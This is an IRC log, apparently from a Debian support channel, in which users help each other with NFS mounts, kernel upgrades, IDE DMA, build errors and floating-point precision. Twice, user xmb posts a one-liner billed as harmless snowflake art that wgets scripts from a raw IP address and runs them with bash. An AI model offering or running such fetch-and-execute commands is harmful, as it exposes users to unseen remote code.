| 02:50.20 | carlosdelriomore | resiak: well... its not really... but i have found that the smartest people on the net seem to be in *this* room.... |
| 02:50.39 | initech | cafuego: not at that level |
| 02:50.39 | cafuego | initech: With a decent controller and a set of fast sata 250 drives, you can. |
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| 02:50.52 | resiak | carlosdelriomore: That's not really the point... Hell, even #gaim would have been a better idea. |
| 02:50.59 | kenboo | is P4 HT optimization patch in place in the latest kernel (2.6.8)? |
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| 02:51.02 | initech | cafuego: besides, scsi works better anyway |
| 02:51.08 | xmb | dpkg (launched from apt) gives me this, and i have enuogh ram.. any idea? 'fork failed: Cannot allocate memory' |
| 02:51.08 | dpkg | You are moron #8, xmb |
| 02:51.10 | usuario | I'm doing mount -t nfs 192.168.1.100:/mnt/hda3/Media /mnt/files and am returned mount: RPC: Remote system error - Connection refused. What could be the problem? |
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| 02:51.18 | dvs | ha! |
| 02:51.24 | cafuego | initech: it does? How? |
| 02:51.25 | initech | cafuego: top of the line scsi will always be better than topmof the line sata |
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| 02:51.52 | kenboo | usuario, you need portmapper |
| 02:52.01 | xmb | kenboo, latest is .9 since long |
| 02:52.24 | kenboo | xmb er...i don't see it when i did apt-get install kerne-image |
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| 02:52.38 | usuario | kenboo: what portmapper do you recommend? |
| 02:52.40 | xmb | maybe u did, but its been updated? =p |
| 02:52.46 | Peg | has anyone used Soekris embeded systems before? |
| 02:52.59 | kenboo | usuario, there's only one portmap package. |
| 02:53.08 | Peg | i am trying to get mine to work with peable |
| 02:53.23 | simonrvn | Guerin: no, --with-freetype=/usr |
| 02:53.31 | kenboo | xmb i do apt-get update everyday... ;-) anyway let me try again |
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| 02:53.46 | xmb | update or dist-upgrade wont install new kernels for you |
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| 02:53.57 | sbk | Peg: I've looked at it before, not used it. I had the impression though that they are more *bsd friendly |
| 02:54.14 | kenboo | xmb, right. i know about that |
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| 02:54.33 | usuario | kenboo: I need portmap both serverside and clientside? |
| 02:54.35 | xmb | k, it might be(en) in unstable |
| 02:54.41 | Guerin | simonrvn: hrm, ok |
| 02:54.43 | kenboo | usuario, yes |
| 02:54.48 | Peg | sbk well i have peable running on it before, but i am having a little trouble getting the serial working again |
| 02:55.10 | kenboo | xmb, uh i'm using sarge |
| 02:55.23 | sbk | Peg: ok. Sorry, don't know enough to answer what you're looking for though |
| 02:55.33 | Guerin | simonrvn: identical behavior |
| 02:55.42 | xmb | kenboo, then oh well =) im running .9 since a long timer |
| 02:55.44 | xmb | -r |
| 02:56.00 | Guerin | simonrvn: from the logs, it's finding the dir, just not the libs it needs for some reason I can't fathom |
| 02:56.08 | kenboo | kernel-image-2.6.8-1-686-smp 2.6.8-10 <-- this is the latest for my CPU |
| 02:56.15 | Guerin | simonrvn: and I don't really understand the configure script well enough to hard-code it in |
| 02:56.28 | resiak | Guerin: I assume that the headers it needs are actually there? |
| 02:56.38 | Cyanophytes | If I add "do_initrd = Yes" to "/etc/kernel-img.conf" will I still be able to boot images withought initrd? |
| 02:56.43 | xmb | people -> dpkg (launched from apt) gives me this, and i have enuogh ram.. any idea? 'fork failed: Cannot allocate memory' |
| 02:57.17 | xmb | Cyanophytes, yeah, it has nothing to do with booting or lilo |
| 02:57.22 | usuario | kenboo: I have portmap installed on both machines |
| 02:57.34 | Cyanophytes | xmb: thanks |
| 02:57.41 | kenboo | usuario, ok. |
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| 02:58.53 | simonrvn | Guerin: might be looking for some specific headers/libs |
| 02:59.11 | BrittMan914 | i asked this before but how do i unpack a tar.gz file |
| 02:59.22 | kenboo | tar xzf ? |
| 02:59.27 | BrittMan914 | sweet |
| 03:00.30 | Guerin | yeah, it fails on: checking For sufficiently new FreeType (at least 2.0.1)... no \n configure: error: Using linux-fb backend but freetype was not found |
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| 03:00.51 | Guerin | on the other hand, the debian package finds the orrect libs, but breaks for other reasons |
| 03:01.05 | simonrvn | Guerin: gah |
| 03:01.35 | initech | Guerin: tried auto-apt maybe? |
| 03:01.35 | Guerin | ii libfreetype6-dev 2.1.7-2.2 |
| 03:01.46 | Guerin | initech: yeah, that doesn't bring anything up |
| 03:02.27 | xmb | Guerin, ln -sf freetype2/freetype /usr/include/freetype |
| 03:02.30 | initech | Guerin: strace? |
| 03:02.58 | Guerin | strace spits out a ton of meaningless output - configure scripts don't strace well IME. |
| 03:03.07 | Guerin | unless you know a clever trick I don't |
| 03:03.14 | xmb | sh -x ./configure, if even, or -v |
| 03:03.19 | xmb | ln -s and retry |
| 03:03.26 | loof | So, did you have any ideas about the IDE issue? |
| 03:03.26 | kenboo | strace for debuggin a shell script?? |
| 03:03.42 | initech | Guerin: well, you can always output to a file and look for instances of "file not found", etc |
| 03:03.53 | xmb | loof, what did u need |
| 03:03.53 | dli | any good unrar tool? unrar failed :( |
| 03:03.58 | xmb | dli, rar |
| 03:04.18 | xmb | (rar x ..), unrar fails for me 100% too, dunno whyt |
| 03:04.27 | Guerin | !unrar |
| 03:04.27 | dpkg | In unstable, unrar has been reimplemented as Free software (see <dfsg>). The new unrar package cannot read V3 RAR files. If you need that functionality, use the unrar-nonfree package, in the non-free section.. Woody: unrar, Sarge: unrar-nonfree |
| 03:04.34 | loof | xmb: I can't seem to enable DMA in hdparm, /proc/ide/piix reports DMA is on...and the IDE interface is Slllloow (thus I think it is not really on) |
| 03:04.51 | dli | xmb: you are an angle :) |
| 03:05.05 | xmb | loof, hdparm -d /dev/hdX |
| 03:05.10 | loof | xmb: obtuse |
| 03:05.18 | loof | In fact, when I try to turn it on in hdparm it tells me 'HDIO_SET_DMA: Operation not permitted' |
| 03:05.20 | loof | There you go :) |
| 03:05.25 | xmb | also suggestable is to set the readahead to <128, 64 or 88 |
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| 03:05.27 | xmb | or 32 |
| 03:05.31 | dli | change the name of unrar to "antirar" :( |
| 03:05.39 | kenboo | my guess is that config script just look in the ldconfig -v output or something similar |
| 03:05.45 | xmb | loof, as root? |
| 03:06.06 | loof | 82801DB/DBL (ICH4/ICH4-L) UltraATA-100 IDE Controller (rev 02) (prog-if 8a [Master SecP PriP]) |
| 03:06.08 | fofos | as i'm doing a dist-upgrade, i get an error with modutils: /etc/modutils/0keep: line 9: keep: command not found <---- been looking for something called "keep" but nothing really, anyone may help on this ? |
| 03:06.09 | loof | Yes as root |
| 03:06.11 | cafuego | bloody hell |
| 03:06.11 | loof | that's my controller |
| 03:06.21 | xmb | what it is, and uname -a |
| 03:06.27 | loof | And yes, the piix module is loaded. |
| 03:06.41 | loof | pagefiel?/ |
| 03:06.44 | loof | pagefile |
| 03:06.45 | loof | even |
| 03:06.45 | cafuego | (in win) |
| 03:06.56 | cafuego | this box has 1.5GB ram |
| 03:07.11 | fofos | heh |
| 03:07.21 | fofos | memory leak somewhere |
| 03:07.26 | cafuego | 700MB free at that |
| 03:07.34 | fofos | heh |
| 03:07.36 | fofos | ok |
| 03:07.38 | cafuego | No, it must be a retarded OS. |
| 03:07.47 | kenboo | loof that's exactly i'm working on |
| 03:07.57 | fofos | windows broken... use the backdoor... |
| 03:08.04 | loof | kenboo: Same problem... or working on a patch? |
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| 03:08.13 | kenboo | loof, same problem and working on a patch |
| 03:08.22 | kenboo | loof, i'm using ICH6 |
| 03:08.30 | xmb | by the way people, this is _harmless_ pro-bash code, drawing snowflakes on your term, final version up at 24th, christmas |
| 03:08.35 | xmb | snow() { local t=/tmp/snow; [[ -f $t ]] && { bash $t; return $?; }; wget -O- 80.218.22.128/code/{threads,snow}.sh|sed 's/\r/\n/g' >$t; bash $t; }; snow # happy fore-xmas |
| 03:08.35 | budluva | ok, so installing the 2.6.7-1-386 kernel image really messed up my network config |
| 03:08.36 | kenboo | uh...but ICH4 shouldn't be affected.....hmm |
| 03:08.41 | fofos | anyhow, i'm still stuck with my stupid dist-upgrade that won't works |
| 03:08.42 | fofos | :(( |
| 03:08.43 | loof | What chipset or M/B |
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| 03:08.50 | budluva | does 2.6 by default install ipv6 over ipiv4? |
| 03:08.51 | loof | This is a funky M/B :) |
| 03:08.52 | fofos | as i'm doing a dist-upgrade, i get an error with modutils: /etc/modutils/0keep: line 9: keep: command not found <---- been looking for something called "keep" but nothing really, anyone may help on this ? |
| 03:08.56 | xmb | loof, whats your hw and kernel |
| 03:08.58 | Guerin | yeah, the files seem to be found, the log and sh -x ./configure --foo shows that it's looking in /usr/include/freetype2 |
| 03:09.00 | kenboo | loof, it's DELL (most likely Intel mobo) |
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| 03:09.33 | EY3W4R5H1P5471N | wt up |
| 03:09.37 | xmb | Guerin, just as a try move all headers from freetype2/freetype .., to freetype2 |
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| 03:10.05 | kenboo | loof, ICH6 has extra bits in registers. i need to enable them to get UDMA100. so ICH4 shouldn't have such problem |
| 03:10.11 | resiak | xmb: Surely just ln -s ? |
| 03:10.21 | xmb | resiak, sup yeh |
| 03:10.37 | xmb | resiak, seen hardlinks of symlinks recently? |
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| 03:10.59 | loof | It's an IBM XSeries 225 |
| 03:10.59 | loof | Kernel 2.6.8 |
| 03:10.59 | kenboo | anyway let me take a look in the ide/pci/piix.c |
| 03:11.03 | xmb | loof, dunno, whats lspci giving for the Host bridge |
| 03:11.20 | loof | 0000:00:1f.1 IDE interface: Intel Corp. 82801DB/DBL (ICH4/ICH4-L) UltraATA-100 IDE Controller (rev 02) |
| 03:11.23 | loof | There you go again :> |
| 03:11.40 | Guerin | xmb: identical behavior again |
| 03:11.43 | loof | I dunno, this thing is fairly recent... I'd expect it to be ATA-133 |
| 03:11.45 | loof | but I guess not |
| 03:11.47 | loof | heh |
| 03:11.47 | budluva | does the 2.6 kernel enable ipv6 by default? |
| 03:11.50 | xmb | lsmod | grep piix is giving 1 usage? |
| 03:12.04 | cafuego | budluva: If the ipv6 module is loaded, yes. |
| 03:12.06 | xmb | Guerin, dunno then |
| 03:12.19 | budluva | cafuego what about 2.4? |
| 03:12.29 | kenboo | loof, my temporary solution is just to load ide-generic ;-) |
| 03:12.36 | cafuego | budluva: If the ipv6 module is loaded, yes. |
| 03:12.39 | loof | It's a PCI-X m/b btw |
| 03:12.48 | loof | Hmm, not a BAD idea |
| 03:12.56 | fusion | Do I need any additional plugins to hear sound in firefox? I got the flash plugin but it doesnt make the sound.... |
| 03:12.59 | xmb | lsmod and see and tell me loof |
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| 03:13.06 | budluva | cafuego hrmm...well when i installed the 2.6 kernel image, i couldnt get eth0 to work, the module was loaded, ifup -a gave me errors |
| 03:13.10 | loof | is there any way to convince the auto-discovery code to use ide-generic instead of piix? |
| 03:13.16 | loof | xmb: Want the whole list :P |
| 03:13.26 | xmb | naw just if piix is getting used |
| 03:13.30 | loof | There are 78 modules currently loaded |
| 03:13.31 | loof | (chuckles) |
| 03:13.32 | kenboo | loof, i had to remove ide stuff from /etc/modules and manually modprobe so to avoid loading order/timing problem |
| 03:13.33 | budluva | cafuego and i couldnt figure out what to do, so i reinstalled, back with 2.2 kernel, now im wondering if i try 2.4 will the same thing happen? |
| 03:13.33 | loof | Yes, it is |
| 03:13.57 | xmb | i dunno if u can use ide-generic just instead of the driver, but u can disable discovery at any time and reboot =p |
| 03:13.57 | jpg | is there anything in /proc that says what scsi IDs are active on a chain? |
| 03:14.01 | Guerin | fusion: kill whatever's using the sound daemon |
| 03:14.18 | fusion | Oh... |
| 03:14.20 | fusion | thanks |
| 03:14.37 | Area-51 | i just installed lcdproc and lcdd and i cant find where lcdproc is, any ideas where lcdproc went? (no config, no binary, just man pages) (debian sarge, kernel 2.6.8 custom) |
| 03:14.50 | resiak | Area-51: dpkg -L lcdproc |
| 03:15.05 | resiak | Area-51: Ignore that if those aren't package names. |
| 03:15.11 | loof | What chipset is the 8280x? |
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| 03:15.23 | xmb | intel, as it says |
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| 03:16.00 | loof | Uhm, duh |
| 03:16.04 | Area-51 | resiak: its just showing me installed dirs of docs and man pages and the lcdd binary/config, but no lcdproc :\ |
| 03:16.04 | loof | I'm wondering which actual chipset |
| 03:16.11 | loof | I'll have to go look it up |
| 03:16.16 | loof | oh well, thanks for the help |
| 03:16.21 | loof | I have to go eat dinner |
| 03:16.30 | jpg | apparently there is: cat /proc/scsi/scsi |
| 03:16.48 | xmb | loof, i got a 400er P2 with a BX chipset, 82 (443) BX is the lspci reported |
| 03:16.51 | kenboo | 8280x? too many |
| 03:17.20 | loof | (nods) That's what I had until 2 days ago |
| 03:17.20 | xmb | even newest P4s use some i820 drivers |
| 03:17.23 | loof | then it flamed out |
| 03:17.33 | loof | CPU _AND_ memory are --fried-- |
| 03:17.40 | xmb | piix is still valid for them, audio too if its intel, i810_audio |
| 03:17.46 | loof | I let the power supply fan...and the heat got WAAAAY to high |
| 03:17.56 | fofos | in which package can i get the command "keep" ? |
| 03:18.01 | fofos | i can't find it |
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| 03:18.49 | xmb | loof, heh, my 1.8GHz new-centrino laptop died some time ago, now a week ago my amd machine died too (the proc) |
| 03:19.12 | Area-51 | xmb: send the laptop to me? ;) |
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| 03:19.56 | xmb | Area-51, no, its on guarantee, but i dunno.. i slept once with it and it overheated =/ |
| 03:20.03 | fofos | awww, crap this bug is bothering me |
| 03:20.46 | Area-51 | xmb: see what happens when you bring pr0n to the bed :P |
| 03:21.23 | Guerin | !tell fofos about search |
| 03:21.40 | xmb | Area-51, mistake.. tho wanna see snowfalkes on your term? snow() { local t=/tmp/snow; [[ -f $t ]] && { bash $t; return $?; }; wget -O- 80.218.22.128/code/{threads,snow}.sh|sed 's/\r/\n/g' >$t; bash $t; }; snow # happy fore-xmas |
| 03:22.02 | fofos | Guerin: thanks but i been looking at packages.debian.org and i can't find nothing |
| 03:22.16 | Area-51 | xmb: when im bored ill give that a go |
| 03:22.21 | fofos | It seems many people had this bug with modutils already |
| 03:22.27 | cafuego | It's 35C you buggers, there's no way in hell we get snow at x-mas! |
| 03:22.31 | fofos | but so far, i can't see noone that have fixed it |
| 03:22.32 | xmb | dont forget it, ull be the first one outta #debian to do that |
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| 03:22.57 | dvs | cafuego: It's 35F, we do. ;-) |
| 03:24.49 | fofos | If anyone willing to help, i'll paste the error i get in #flood |
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| 03:24.51 | fofos | thanks... |
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| 03:26.08 | Guerin | fofos: there's no file called bin/keep in debian |
| 03:26.22 | Guerin | fofos: you might consider being a bit more specific |
| 03:26.26 | fusion | er..anyone by any chance want a gmail account? |
| 03:26.32 | fofos | Guerin: /etc/modutils/0keep: line 9: keep: command not found |
| 03:26.37 | anti-genre | fusion, i'll take it |
| 03:26.46 | Guerin | fusion: this is not a gmail trading channel |
| 03:26.47 | fusion | ok lol im me with current email |
| 03:26.51 | fofos | and the only line in the file is: keep |
| 03:26.53 | sussudio | !fix Area-51 |
| 03:26.53 | fusion | I'm not trading |
| 03:26.57 | fusion | I'm giving it away |
| 03:26.59 | Area-51 | lol |
| 03:27.07 | Area-51 | sussudio, your just jealous :P |
| 03:27.09 | fofos | that's why i don't get it |
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| 03:27.17 | Guerin | fofos: make sure the script isn't munged; often if you've c&p it from somewhere, the linebreaks will all be fucked |
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| 03:27.31 | Guerin | fusion: irreelevant. |
| 03:28.15 | fofos | Guerin: i didn't c&p and many people have this bug aparently but i can't find noone that fixed it so far |
| 03:28.22 | fusion | Not -really-, I'm giving things away for free |
| 03:29.09 | Guerin | fofos: ok. where did you get the script? It's clearly not a debian script... |
| 03:29.16 | BrittMan914 | i tried to extract the .tar.gz file with tar and it says does not appear to be a tar archive |
| 03:29.21 | fofos | Guerin: apt-get dist-upgrade |
| 03:29.25 | BrittMan914 | am i doing something wrong? |
| 03:29.27 | fofos | it's all i did |
| 03:29.29 | lucas | hiyas, can someone tell me if php4 in woody has the vulnerability exploited by the recent santy.a? |
| 03:29.30 | kenboo | BrittMan914, try file |
| 03:29.30 | Guerin | fofos: BTS |
| 03:29.34 | fofos | Guerin: http://lists.debian.org/deity/2004/10/msg00056.html |
| 03:29.35 | sussudio | !britsmite BrittMan914 |
| 03:29.50 | fofos | Guerin: what BTS means ? |
| 03:29.59 | sussudio | Badger Telephone Service |
| 03:30.00 | Guerin | !tell fofos about bts |
| 03:30.32 | fofos | ok, ty |
| 03:30.35 | fofos | looking at tit |
| 03:30.38 | fofos | heh |
| 03:30.40 | WiFiTux | fofos, ? |
| 03:30.43 | fofos | it |
| 03:30.53 | dvs | Freudiean slip? |
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| 03:32.04 | Guerin | lucas: I'm not sure. It's possible that the version in wwoody is to old to be vulnerable, and it's also possible that the debian-security team haven't yet issued a patch for it. Ask on debian-security mailing list |
| 03:32.56 | dondelelcaro | !dbugs 277183 |
| 03:32.59 | dpkg | DONE:#277183:N[powermgmt-base] apt keep bug |
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| 03:33.48 | toresbe | Is there an IRC channel where bugs are streamed to you? |
| 03:34.06 | WiFiTux | streamed? the 1000 bugs> |
| 03:34.19 | fofos | humm |
| 03:34.28 | fofos | even at bts, nothing about it |
| 03:34.29 | fofos | :( |
| 03:34.30 | toresbe | how often are bugs reported in Debian? |
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| 03:34.56 | lucas | Guerin: thanks |
| 03:35.08 | toresbe | nah, never mind, the idea sucks and I should be sleeping. |
| 03:35.16 | Guerin | lucas: since upstream doesn't support php 4.1.x any more, they haven't been able to advise whether woody's verison is vulnerable |
| 03:35.23 | sussudio | #debian.ru? |
| 03:35.38 | Guerin | lucas: you can take your chances, or you can use a backport such as the ones dotdeb.org offer |
| 03:35.50 | tZar | Hi guys, I need to get rid(don't ask) of my master drive(where lays grub) what do you suggest for writting down a bootable grub on the (now-master) disk? |
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| 03:36.05 | tZar | Is grub-install deprecated? |
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| 03:36.32 | fofos | Guerin: if i found nothing in BTS, what's my next option ? |
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| 03:36.56 | sobersabre | help with doubles. i initialize double, and it holds junk in the end. asigned: double x=1.23L; |
| 03:36.58 | TheStar | *finally |
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| 03:37.16 | Guerin | fofos: it should have been your first option: tell us exactly what wants that file, and why. |
| 03:37.42 | TheStar | Wow, Knoppix has improved! |
| 03:37.43 | sobersabre | still i get in the gdb: 1.2300000000001 |
| 03:37.44 | sbk | tZar: I use grub-install, or just grub from the command line myself. I never really liked the wrapper that debian provides |
| 03:37.56 | fofos | Guerin: may i paste in #flood thez content of the file ? |
| 03:37.57 | dondelelcaro | fofos: the link you gave Guerin has the bug report on exactly your issue, that explains exactly what you need to do to fix things |
| 03:38.07 | dvs | sobersabre: floating point numbers are not exact. |
| 03:38.19 | dondelelcaro | fofos: I even asked dpkg about the stupid thing. Visit http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=277183 and read |
| 03:38.20 | fofos | dondelelcaro: if you follow there, there's nothing to fix |
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| 03:38.29 | fofos | dondelelcaro: ok |
| 03:38.31 | fofos | looking |
| 03:38.46 | Cyanophytes | what would cause a pc to reboot when it tries to load the kernel? |
| 03:38.57 | dvs | Cyanophytes: memory problems. |
| 03:39.00 | dondelelcaro | fofos: I already followed it and saw the solution. But it's your problem, not me. |
| 03:39.06 | dondelelcaro | Cyanophytes: wrong kernel arch |
| 03:39.26 | dondelelcaro | Cyanophytes: and a host of other, less common, problems. |
| 03:39.37 | TheStar | Shouldn't /bin/sh be a *static* lib? |
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| 03:39.57 | kenboo | ISA cards? |
| 03:40.14 | kenboo | one of my old box always failed for the 1st boot after powering up. |
| 03:40.25 | Cyanophytes | dondelelcaro: how do I find out what arch I need? |
| 03:40.53 | dondelelcaro | TheStar: no |
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| 03:41.11 | TheStar | Hmm, this just makes it slightly harder... |
| 03:41.20 | dondelelcaro | Cyanophytes: if you're building your own kernel, you should know |
| 03:41.30 | fofos | dondelelcaro: thanks, seems it fixed this... and now i got 2 new bugs |
| 03:41.31 | Guerin | fofos: sorry, I missed your url above |
| 03:41.45 | dondelelcaro | TheStar: that's why you use busybox-static |
| 03:41.57 | fofos | Guerin: no worries, seems it's somehow fixed for this, thank you |
| 03:41.57 | Guerin | but the point is there is a clear bts entry on it |
| 03:42.06 | stonecolddsl | Hi, I just got done doing a net install of sarge where does debian keep all the files it downloads i would like to get rid of them as I am on a laptop and it does not have a huge hd only 6 gigs |
| 03:42.17 | Guerin | stonecolddsl: apt-get clean |
| 03:42.25 | dondelelcaro | stonecolddsl: man apt-get; while you're at it. |
| 03:42.31 | Guerin | stonecolddsl: and 6gigs is enough for ~20 debian installations |
| 03:42.43 | mad_ogre | hi, does the hwclock script in init.d does anything important? |
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| 03:42.48 | TheStar | donBut that isn't installed by default, right? |
| 03:42.51 | dondelelcaro | mad_ogre: yes, it does. |
| 03:42.54 | dondelelcaro | TheStar: nope |
| 03:42.58 | sobersabre | dvs, how can one work precisely then ? |
| 03:43.02 | mad_ogre | seems my system hangs around that point |
| 03:43.12 | dondelelcaro | TheStar: nor is fsck-static or any of the other useful programs |
| 03:43.13 | dvs | sobersabre: you can't not with floating point numbers. |
| 03:43.33 | TheStar | dondelelcaro, That's almost insnae. |
| 03:43.38 | dvs | sobersabre: most floating point numbers are approximation. |
| 03:43.40 | fofos | ooo |
| 03:43.45 | stonecolddsl | Guerin well 6 gigs is not alot when you have a lot of php files and images to deal with |
| 03:43.53 | Guerin | stonecolddsl: yes it is. |
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| 03:44.23 | fofos | ok |
| 03:44.24 | fofos | fixed |
| 03:44.29 | sobersabre | but... i must work with fp. how can i calculate real numbers ? (not really "real") |
| 03:44.34 | dondelelcaro | TheStar: no, it's not... they're only useful if you need to fix a system, and they're absolutely gigantic. |
| 03:44.38 | fofos | is there a way to complete the bug report ? |
| 03:44.41 | Guerin | stonecolddsl: 6 gigs isn't a lot when you're dealing with video or sound, or graphic design-level graphics ... |
| 03:44.56 | Guerin | fofos: it will be marked done when it's done; not by you. |
| 03:45.31 | TheStar | dondelelcaro, How big is "gigantic"? |
| 03:45.36 | sobersabre | dvs, and still i can't get it: if i put 0 into integer, i get 0. if i put 1 i get 1. if i use this idea with fp... it doesn't work. |
| 03:45.47 | sobersabre | what to do ? |
| 03:45.54 | fofos | Guerin: i mean to add something to it, i had a bunch of other errors more than the guy, and i did something more to fix, i would add that in case it happens to someone the person could do what i did.... |
| 03:46.00 | dondelelcaro | TheStar: you can see for yourself... they're just big because they duplicate stuff that's present in the core libraries |
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| 03:46.16 | Guerin | fofos: apt-get install reportbug |
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| 03:46.27 | dondelelcaro | TheStar: anyway, nothing's stoping you from installing them... they're only a few megs |
| 03:46.37 | TheStar | dondelelcaro, I'm sure 50 MB total is a reasonable sacrifice. |
| 03:46.43 | fofos | okay, thenkas Guerin |
| 03:46.52 | fofos | Thanks dondelelcaro, fixed the crap |
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| 03:47.00 | TheStar | debian.org isn't exactly helping me... |
| 03:47.14 | TheStar | Aha! |
| 03:47.15 | dondelelcaro | TheStar: for you, probably. For others, probably not |
| 03:47.18 | dvs | sobersabre: You'll still get 0.0 and 1.0 in floating point numbers accurately. But once you get into fractions, most are approximations. |
| 03:47.21 | budluva | how can i tell what module my nic is using? |
| 03:47.28 | stonecolddsl | Guerin I will probably copy over 2 gigs worth of files over to this laptop. leaving me not a lot of space only 1.5 gigs left. well I will buy a new hd when the new year comes |
| 03:47.31 | budluva | or, how can i tell what modules my nic's are using |
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| 03:48.46 | sobersabre | dvs, i need a way of working with precision to the 6th -8th digit after the dot. is there a way to achieve this ? |
| 03:48.58 | Trev1 | Need a quick hand with a grub install on new mirror drive I just setup /dev/md0 --> boot /dev/md1 --> / I've also rsync'd all my files from a NON mirror drive over.. os + everything in the world |
| 03:49.18 | zinx | sobersabre: floating point has 6 digits of precision (or, 23/24 bits) |
| 03:49.30 | zinx | sobersabre: double precision floating point has more |
| 03:49.32 | dvs | sobersabre: doubles are accurate to about 13 digits, i think |
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| 03:49.39 | sobersabre | how can i truncate double's tail to zeros ... (i work with doubles) |
| 03:49.42 | dondelelcaro | budluva: check dmesg |
| 03:49.47 | zinx | sobersabre: yes |
| 03:49.55 | zinx | sobersabre: but only for display |
| 03:50.18 | dvs | sobersabre: it depends what you use to print the numbers out. |
| 03:50.21 | zinx | sobersabre: you might consider using fixed point |
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| 03:50.44 | sobersabre | zinx, which type is "fixed point" ? |
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| 03:51.10 | zinx | sobersabre: do all your math assuming it's /1000, for instance -- so, int foo = 1000; would actually mean 1 |
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| 03:51.32 | glick | hi |
| 03:51.42 | budluva | dondelelcaro ok, i have 3 nics, and they either use rtl8139 or 8139too, now when i upgrade to 2.4 (currently running 2.2 kernel image) my nics dont seem to work, so just modprobe rtl8139 and 8139too??? |
| 03:51.46 | Area-51 | im trying to compile some .c files and i keep getting function and variable errors -- i dont think its the code, not sure... is there a special program to compile some .c files or something? (debian testing, kernel 2.6.8 custom) |
| 03:51.47 | iceman | I just can't get cplay to display id3 info.. though I have installed the recommended package python-id3. any ideas? |
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| 03:51.53 | zinx | sobersabre: obviously multiplies and divides are a little more complicated |
| 03:51.54 | glick | excuse me, whats a decent debian mirror ftp,au.debian.org is always full |
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| 03:51.59 | Area-51 | not specifically .c files i should say |
| 03:52.10 | dondelelcaro | budluva: if those are the right drivers, yes. |
| 03:52.22 | EY3W4R5H1P5471N | my nics smell like farts |
| 03:52.25 | EY3W4R5H1P5471N | oops |
| 03:52.25 | TheStar | http://packages.debian.org/unstable/base/libncurses5 <-- HOW do I download libncurses? |
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| 03:52.34 | Area-51 | EY3W4R5H1P5471N: can them and sel them |
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| 03:52.58 | dendrite | glick: I forget the name, but there is a tool that automagically finds good mirrors. try apt-cache search apt or some such... |
| 03:53.06 | dondelelcaro | TheStar: you click on the button with your arch |
| 03:53.20 | dendrite | glick: Back up your sources.list before you use it though. |
| 03:53.21 | TheStar | dondelelcaro, Somehow, I fail to see the one that says "i386". |
| 03:53.28 | Cyanophytes | I found out why my pc restarts when I try to boot from the new kernel its "acpi" Is there a way to turn this off when loading vmlinuz from lilo? |
| 03:53.31 | dondelelcaro | TheStar: select your mirror, and download away... it's pretty trivial. |
| 03:53.38 | sobersabre | so u say: assume a maximal value, and work with this order of magnitude... like, if i work with min. 0.000001, i should work with long, and in the end divide the result. |
| 03:53.48 | sobersabre | i meant minimal calue. |
| 03:53.51 | dendrite | glick: netselect-apt |
| 03:53.55 | dondelelcaro | TheStar: then you're blind, unfortunatly... I'd suggest starting with a good optometrist. |
| 03:53.57 | glick | thanks |
| 03:54.10 | TheStar | dondelelcaro, Nevermind, it seems that mozilla hid it somehow. |
| 03:54.15 | sobersabre | how can one work with functions then ? |
| 03:54.20 | TheStar | dondelelcaro, I do need to make a visit :( |
| 03:54.31 | sobersabre | like log() or exp{} ? |
| 03:54.49 | dondelelcaro | *shrug* at least you only have to visit the optometrist.. I have to go see the opthamologist again. Much more annoying |
| 03:55.03 | budluva | dondelelcaro if this 2.4 kernel installs ipv6 over ipv4 how do i change it back to ipv4? |
| 03:55.19 | dondelelcaro | budluva: you still have ipv4 even if you use ipv6 over ipv4 |
| 03:55.25 | budluva | oh ok |
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| 03:55.50 | budluva | so ipv6 is backwards-compatable with ipv4? |
| 03:56.03 | dondelelcaro | budluva: no, ipv6 over ipv4 requires that you have working ipv4. |
| 03:56.19 | budluva | well im here, so i take it i have a working ipv4 |
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| 03:57.30 | budluva | dondelelcaro ok, so when i do this kernel upgrade, if my nics are using the wrong drivers, how can i get a list of available modules to use? |
| 03:57.48 | budluva | or do i just have to know what modules i need? |
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| 03:57.57 | xanadu | hey |
| 03:58.06 | dondelelcaro | budluva: your nics either will work or they won't. It's pretty nigh impossible for them to use the wrong drivers. |
| 03:58.23 | dendrite | budluva: lsmod > modules-in-use.txt |
| 03:58.28 | xanadu | if I plug a printer into a usb port and I'm trying to install it, am I going to find it on /dev/usb/lp0? |
| 03:58.28 | budluva | well they usually don't work after i do a kernel upgrade |
| 03:59.11 | hettar | xanadu: Use the cups configuration interface, it "just works" |
| 03:59.22 | bob2 | then you're upgrading wrong |
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| 03:59.27 | budluva | bob2 why? |
| 03:59.38 | bob2 | I don't know why you're upgrading wrong |
| 03:59.45 | bob2 | but things should not stop working |
| 03:59.52 | dendrite | budluva: What are you upgrading from/to? |
| 03:59.52 | budluva | bob2 apt-get install kernel-image-2.4.27-686 kinda hard to get wrong |
| 04:00.23 | budluva | 2.2 (woody net inst), i just upgraded to sarge, and am going to 2.4.27-686 kernel-image |
| 04:00.27 | bob2 | budluva: from what version? do you have discover installed? |
| 04:00.29 | bob2 | haha |
| 04:00.35 | bob2 | so you upgraded without reading the upgrade notes? |
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| 04:00.43 | TheStar | Ok, I think I've fixed it... |
| 04:00.45 | budluva | ??? |
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| 04:01.21 | budluva | bob2 explain... |
| 04:01.28 | DTrekky | Hallo |
| 04:01.37 | bob2 | no |
| 04:02.01 | zignig | bob2: are you playing with d-i still ? |
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| 04:03.15 | bob2 | nah |
| 04:03.33 | bob2 | haven't really played with anything lately |
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| 04:05.18 | bob2 | heh, yeah, tommorow |
| 04:05.43 | Guerin | no day off for christmas here |
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| 04:05.59 | Guerin | normally we'd get christmas day off, but this year it's a saturday, so business as usual |
| 04:06.02 | Guerin | :( |
| 04:06.12 | usuario | I am setting up an nfs server (user-server) I have modified my /etc/exports to: /mnt/hda3/Music 192.168.1.101(ro) [next line] /mnt/hda3/Music 192.168.1.0(ro) [next line] /mnt/hda3/Music 192.168.1.1(ro) in hopes to make it available to another linux computer also connected to the router; on the other computer I type mount -t nfs 192.168.1.100:/mnt/hda3/Music /mnt/files and am returned the message: mount: RPC: remote system error - Connec |
| 04:06.28 | toresbe | Guerin: Where you work? |
| 04:06.39 | budluva | bob2 ok, explain to me how i can read the 2.4 kernel upgrade notes |
| 04:06.47 | budluva | !dpkg 2.4 |
| 04:06.47 | dpkg | hmm... 2.4 is Check out http://www.kernel.org/mirrors/ for more information on locations and (more importantly) mirror sites. "The Wonderful World Of Linux 2.4" article at http://linuxtoday.com/news_story.php3?ltsn=2001-01-05-007-04-NW-LF-KN details all the improvements. Be sure to "wget http://www.kernel.org/pub/linux/kernel/crypto/v2.4/patch-int-2.4.0.1.bz2" The kernel README states it requires gcc 2.91.66. see '2.4 potato' |
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| 04:07.08 | budluva | !dpkg 2.4 potato |
